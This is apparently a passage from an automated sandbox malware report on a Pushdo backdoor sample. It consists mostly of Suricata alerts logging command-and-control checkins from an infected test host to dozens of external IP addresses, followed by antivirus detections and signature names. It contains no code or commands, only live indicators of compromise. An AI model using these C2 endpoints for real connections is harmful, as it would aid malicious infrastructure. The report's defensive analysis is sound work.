2024-10-25T11:18:45.067075+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53335	208.109.214.162	80	TCP
2024-10-25T11:18:45.077498+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53326	85.131.197.10	80	TCP
2024-10-25T11:18:45.091265+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53330	5.196.166.214	80	TCP
2024-10-25T11:18:45.094692+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53329	211.1.226.67	80	TCP
2024-10-25T11:18:45.144515+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53323	170.82.174.30	80	TCP
2024-10-25T11:18:45.214868+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53335	208.109.214.162	80	TCP
2024-10-25T11:18:45.218012+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53337	103.224.182.241	80	TCP
2024-10-25T11:18:45.246819+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53339	54.161.222.85	80	TCP
2024-10-25T11:18:45.308514+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53327	18.245.31.21	80	TCP
2024-10-25T11:18:45.338320+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53332	93.187.206.66	80	TCP
2024-10-25T11:18:45.378073+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53336	89.161.163.246	80	TCP
2024-10-25T11:18:45.381393+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53340	13.248.252.114	80	TCP
2024-10-25T11:18:45.385877+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53329	211.1.226.67	80	TCP
2024-10-25T11:18:45.386139+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53326	85.131.197.10	80	TCP
2024-10-25T11:18:45.396667+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53338	23.227.38.74	80	TCP
2024-10-25T11:18:45.460531+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53343	188.114.97.3	80	TCP
2024-10-25T11:18:45.523986+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53341	62.122.190.121	80	TCP
2024-10-25T11:18:45.567128+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53323	170.82.174.30	80	TCP
2024-10-25T11:18:45.627706+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53343	188.114.97.3	80	TCP
2024-10-25T11:18:45.681981+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53200	193.166.255.171	80	TCP
2024-10-25T11:18:45.716813+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53344	139.59.171.124	80	TCP
2024-10-25T11:18:45.740334+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53334	74.208.236.101	80	TCP
2024-10-25T11:18:45.791019+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53346	192.252.154.18	80	TCP
2024-10-25T11:18:45.805363+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53349	188.114.97.3	80	TCP
2024-10-25T11:18:45.805521+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53341	62.122.190.121	80	TCP
2024-10-25T11:18:45.830175+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53347	13.248.252.114	80	TCP
2024-10-25T11:18:45.968800+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53350	54.161.222.85	80	TCP
2024-10-25T11:18:45.977578+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53348	35.164.78.200	80	TCP
2024-10-25T11:18:45.978210+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53344	139.59.171.124	80	TCP
2024-10-25T11:18:46.169359+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53342	104.26.15.53	80	TCP
2024-10-25T11:18:46.239777+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53355	103.224.182.241	80	TCP
2024-10-25T11:18:46.267317+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53352	211.1.226.67	80	TCP
2024-10-25T11:18:46.313104+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53358	154.53.43.150	80	TCP
2024-10-25T11:18:46.322571+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53357	141.193.213.11	80	TCP
2024-10-25T11:18:46.337151+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53354	60.43.154.138	80	TCP
2024-10-25T11:18:46.453113+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53358	154.53.43.150	80	TCP
2024-10-25T11:18:46.499201+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53357	141.193.213.11	80	TCP
2024-10-25T11:18:46.550401+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53356	195.78.66.65	80	TCP
2024-10-25T11:18:46.558909+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53352	211.1.226.67	80	TCP
2024-10-25T11:18:46.575492+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53359	34.218.204.173	80	TCP
2024-10-25T11:18:46.627695+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53354	60.43.154.138	80	TCP
2024-10-25T11:18:46.636744+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53360	192.124.249.10	80	TCP
2024-10-25T11:18:46.822477+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53360	192.124.249.10	80	TCP
2024-10-25T11:18:46.908514+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53362	80.74.154.6	80	TCP
2024-10-25T11:18:46.946804+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53366	208.109.214.162	80	TCP
2024-10-25T11:18:46.989673+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53368	172.67.173.200	80	TCP
2024-10-25T11:18:46.995217+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53364	103.224.182.241	80	TCP
2024-10-25T11:18:47.025440+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53363	185.80.51.179	80	TCP
2024-10-25T11:18:47.108138+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53353	104.26.10.81	80	TCP
2024-10-25T11:18:47.119327+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53366	208.109.214.162	80	TCP
2024-10-25T11:18:47.129408+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53227	193.166.255.171	80	TCP
2024-10-25T11:18:47.148748+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53368	172.67.173.200	80	TCP
2024-10-25T11:18:47.184523+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53362	80.74.154.6	80	TCP
2024-10-25T11:18:47.276387+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53373	198.185.159.144	80	TCP
2024-10-25T11:18:47.316220+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53363	185.80.51.179	80	TCP
2024-10-25T11:18:47.337125+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53365	93.187.206.66	80	TCP
2024-10-25T11:18:47.357551+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53372	165.22.45.169	80	TCP
2024-10-25T11:18:47.499944+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53371	81.2.194.241	80	TCP
2024-10-25T11:18:47.553917+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53374	135.181.73.98	80	TCP
2024-10-25T11:18:47.556832+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53372	165.22.45.169	80	TCP
2024-10-25T11:18:47.784589+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53371	81.2.194.241	80	TCP
2024-10-25T11:18:47.785963+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53377	188.165.133.163	80	TCP
2024-10-25T11:18:47.840130+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53374	135.181.73.98	80	TCP
2024-10-25T11:18:47.848131+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53378	154.53.43.150	80	TCP
2024-10-25T11:18:47.952428+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53375	116.211.150.37	80	TCP
2024-10-25T11:18:47.984191+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53379	69.163.239.62	80	TCP
2024-10-25T11:18:48.011241+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53381	188.114.96.3	80	TCP
2024-10-25T11:18:48.068154+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53377	188.165.133.163	80	TCP
2024-10-25T11:18:48.172031+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53380	202.254.236.40	80	TCP
2024-10-25T11:18:48.345207+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53378	154.53.43.150	80	TCP
2024-10-25T11:18:48.387911+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53381	188.114.96.3	80	TCP
2024-10-25T11:18:48.426040+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53376	104.26.10.81	80	TCP
2024-10-25T11:18:48.435179+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53379	69.163.239.62	80	TCP
2024-10-25T11:18:48.474225+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53384	213.186.33.40	80	TCP
2024-10-25T11:18:48.520810+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53380	202.254.236.40	80	TCP
2024-10-25T11:18:48.751402+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53384	213.186.33.40	80	TCP
2024-10-25T11:18:48.892054+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53370	122.128.109.107	80	TCP
2024-10-25T11:18:49.001786+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53386	3.94.41.167	80	TCP
2024-10-25T11:18:49.157335+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53390	51.79.51.72	80	TCP
2024-10-25T11:18:49.183717+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53388	104.26.3.124	80	TCP
2024-10-25T11:18:49.268584+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53391	188.114.96.3	80	TCP
2024-10-25T11:18:49.342383+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53394	96.127.180.42	80	TCP
2024-10-25T11:18:49.364087+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53387	104.21.66.46	80	TCP
2024-10-25T11:18:49.433368+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53388	104.26.3.124	80	TCP
2024-10-25T11:18:49.461849+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53393	5.189.128.121	80	TCP
2024-10-25T11:18:49.486143+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53391	188.114.96.3	80	TCP
2024-10-25T11:18:49.516412+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53394	96.127.180.42	80	TCP
2024-10-25T11:18:49.548038+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53392	122.128.109.107	80	TCP
2024-10-25T11:18:49.570265+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53395	107.180.98.101	80	TCP
2024-10-25T11:18:49.735807+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53395	107.180.98.101	80	TCP
2024-10-25T11:18:49.740711+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53393	5.189.128.121	80	TCP
2024-10-25T11:18:49.749599+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53396	3.94.41.167	80	TCP
2024-10-25T11:18:49.898849+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53397	3.94.41.167	80	TCP
2024-10-25T11:18:50.367587+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53401	69.163.182.181	80	TCP
2024-10-25T11:18:50.371356+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53402	107.180.98.101	80	TCP
2024-10-25T11:18:50.420682+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53401	69.163.182.181	80	TCP
2024-10-25T11:18:50.487262+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53399	183.90.183.73	80	TCP
2024-10-25T11:18:50.527532+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53404	75.119.202.130	80	TCP
2024-10-25T11:18:50.563037+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53402	107.180.98.101	80	TCP
2024-10-25T11:18:50.578467+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53405	104.196.26.65	80	TCP
2024-10-25T11:18:50.582807+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53400	23.227.38.74	80	TCP
2024-10-25T11:18:50.627676+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53408	3.94.41.167	80	TCP
2024-10-25T11:18:50.744208+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53407	217.19.237.54	80	TCP
2024-10-25T11:18:50.821966+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53403	185.53.177.50	80	TCP
2024-10-25T11:18:51.076248+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53405	104.196.26.65	80	TCP
2024-10-25T11:18:51.125253+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53410	69.163.182.181	80	TCP
2024-10-25T11:18:51.419454+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53297	198.100.146.220	80	TCP
2024-10-25T11:18:51.548072+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53300	137.118.26.67	80	TCP
2024-10-25T11:18:51.597111+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53411	75.119.202.130	80	TCP
2024-10-25T11:18:51.687439+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53412	13.248.169.48	80	TCP
2024-10-25T11:18:51.860733+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53417	188.114.97.3	80	TCP
2024-10-25T11:18:51.983547+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53414	217.79.184.35	80	TCP
2024-10-25T11:18:52.011457+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53415	144.76.24.9	80	TCP
2024-10-25T11:18:52.091308+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53418	3.65.101.129	80	TCP
2024-10-25T11:18:52.123345+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53416	195.78.66.65	80	TCP
2024-10-25T11:18:52.165073+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53413	185.53.177.50	80	TCP
2024-10-25T11:18:52.339182+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53418	3.65.101.129	80	TCP
2024-10-25T11:18:52.346334+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53421	147.154.3.56	80	TCP
2024-10-25T11:18:52.426033+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53420	18.245.31.21	80	TCP
2024-10-25T11:18:52.587674+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53418	3.65.101.129	80	TCP
2024-10-25T11:18:52.605004+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53422	188.166.152.188	80	TCP
2024-10-25T11:18:52.691449+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53420	18.245.31.21	80	TCP
2024-10-25T11:18:52.835121+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53418	3.65.101.129	80	TCP
2024-10-25T11:18:52.851703+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53333	198.100.146.220	80	TCP
2024-10-25T11:18:52.892362+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53424	165.22.45.169	80	TCP
2024-10-25T11:18:53.079625+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53424	165.22.45.169	80	TCP
2024-10-25T11:18:53.082986+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53418	3.65.101.129	80	TCP
2024-10-25T11:18:53.096825+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53423	85.131.197.10	80	TCP
2024-10-25T11:18:53.251876+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53427	13.248.252.114	80	TCP
2024-10-25T11:18:53.413371+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53428	5.196.166.214	80	TCP
2024-10-25T11:18:53.551074+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53429	23.227.38.74	80	TCP
2024-10-25T11:18:53.635227+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53430	211.1.226.67	80	TCP
2024-10-25T11:18:53.834101+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53351	96.91.204.114	80	TCP
2024-10-25T11:18:53.917176+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53430	211.1.226.67	80	TCP
2024-10-25T11:18:54.003980+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53426	74.208.236.101	80	TCP
2024-10-25T11:18:54.158925+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53434	188.114.97.3	80	TCP
2024-10-25T11:18:54.171809+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53432	103.224.182.253	80	TCP
2024-10-25T11:18:54.387810+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53433	213.186.33.40	80	TCP
2024-10-25T11:18:54.404353+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53436	103.224.182.241	80	TCP
2024-10-25T11:18:54.419555+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53435	35.164.78.200	80	TCP
2024-10-25T11:18:54.469254+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53361	193.166.255.171	80	TCP
2024-10-25T11:18:54.645916+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53433	213.186.33.40	80	TCP
2024-10-25T11:18:54.759817+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53439	208.109.214.162	80	TCP
2024-10-25T11:18:54.855123+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53440	103.224.182.253	80	TCP
2024-10-25T11:18:54.929883+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53439	208.109.214.162	80	TCP
2024-10-25T11:18:55.084911+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53442	103.224.182.241	80	TCP
2024-10-25T11:18:55.136424+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53443	154.53.43.150	80	TCP
2024-10-25T11:18:55.304337+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53443	154.53.43.150	80	TCP
2024-10-25T11:18:55.368359+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53441	93.187.206.66	80	TCP
2024-10-25T11:18:55.543873+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53444	103.224.182.253	80	TCP
2024-10-25T11:18:55.722412+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53438	104.26.10.81	80	TCP
2024-10-25T11:18:56.008693+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53383	96.91.204.114	80	TCP
2024-10-25T11:18:56.417752+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53445	122.128.109.107	80	TCP
2024-10-25T11:18:56.702282+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53385	64.125.133.18	80	TCP
2024-10-25T11:18:57.214002+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53448	107.180.98.101	80	TCP
2024-10-25T11:18:57.387271+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53448	107.180.98.101	80	TCP
2024-10-25T11:18:57.424916+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53450	188.114.96.3	80	TCP
2024-10-25T11:18:57.616293+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53450	188.114.96.3	80	TCP
2024-10-25T11:18:57.816310+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53398	64.125.133.18	80	TCP
2024-10-25T11:18:58.548803+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53453	188.114.96.3	80	TCP
2024-10-25T11:18:58.564552+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53451	185.53.177.50	80	TCP
2024-10-25T11:18:58.766993+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53453	188.114.96.3	80	TCP
2024-10-25T11:18:58.903924+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53452	104.218.10.254	80	TCP
2024-10-25T11:19:00.197349+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53456	157.112.176.4	80	TCP
2024-10-25T11:19:00.725768+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53425	198.100.146.220	80	TCP
2024-10-25T11:19:00.874303+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53457	173.254.28.29	80	TCP
2024-10-25T11:19:01.381188+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53458	157.112.176.4	80	TCP
2024-10-25T11:19:01.916227+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53460	157.112.182.239	80	TCP
2024-10-25T11:19:02.158679+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53461	173.254.28.29	80	TCP
2024-10-25T11:19:02.699538+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53463	192.124.249.20	80	TCP
2024-10-25T11:19:02.743156+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53469	70.39.251.249	80	TCP
2024-10-25T11:19:02.808333+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53464	188.114.97.3	80	TCP
2024-10-25T11:19:02.847118+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53463	192.124.249.20	80	TCP
2024-10-25T11:19:02.901422+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53471	34.218.204.173	80	TCP
2024-10-25T11:19:02.909150+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53466	80.93.82.33	80	TCP

ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T11:17:36.106280+0200	2016998	1	A Network Trojan was detected	192.168.2.5	52587	193.166.255.171	80	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T11:17:32.199358+0200	2018141	1	A Network Trojan was detected	34.218.204.173	80	192.168.2.5	49765	TCP
2024-10-25T11:17:43.250301+0200	2018141	1	A Network Trojan was detected	35.164.78.200	80	192.168.2.5	52659	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\pigalicapi.exe

ReversingLabs: Detection: 28%

Multi AV Scanner detection for submitted file

Source: yGktPvplJn.exe

ReversingLabs: Detection: 28%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: yGktPvplJn.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:

Binary string: D:\bamboo\home\xml-data\build-dir\CODRU-BA-SOURCES\bin\Win32\Release\ProductAgentUI.pdb source: yGktPvplJn.exe, 00000000.00000003.2319257839.0000000002880000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52563 -> 104.21.88.198:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52543 -> 185.15.129.58:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:49765 -> 34.218.204.173:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52553 -> 139.59.171.124:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52546 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52540 -> 3.19.116.195:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52584 -> 81.2.194.241:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52562 -> 54.161.222.85:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52545 -> 170.82.174.30:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:49762 -> 104.21.23.9:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:49766 -> 70.39.251.249:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:49760 -> 192.124.249.20:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52541 -> 104.26.7.221:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:49764 -> 80.93.82.33:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52600 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52585 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:49763 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52550 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52544 -> 142.250.186.147:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52583 -> 69.163.239.62:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52602 -> 116.211.150.37:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52569 -> 141.193.213.11:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52555 -> 104.26.15.53:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52579 -> 192.252.154.18:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52557 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52612 -> 23.227.38.74:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52578 -> 198.185.159.144:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52554 -> 54.161.222.85:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52616 -> 217.19.237.54:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:49761 -> 137.118.26.67:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52604 -> 108.167.164.216:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52618 -> 75.119.202.130:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:49768 -> 3.19.116.195:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52634 -> 3.94.41.167:80
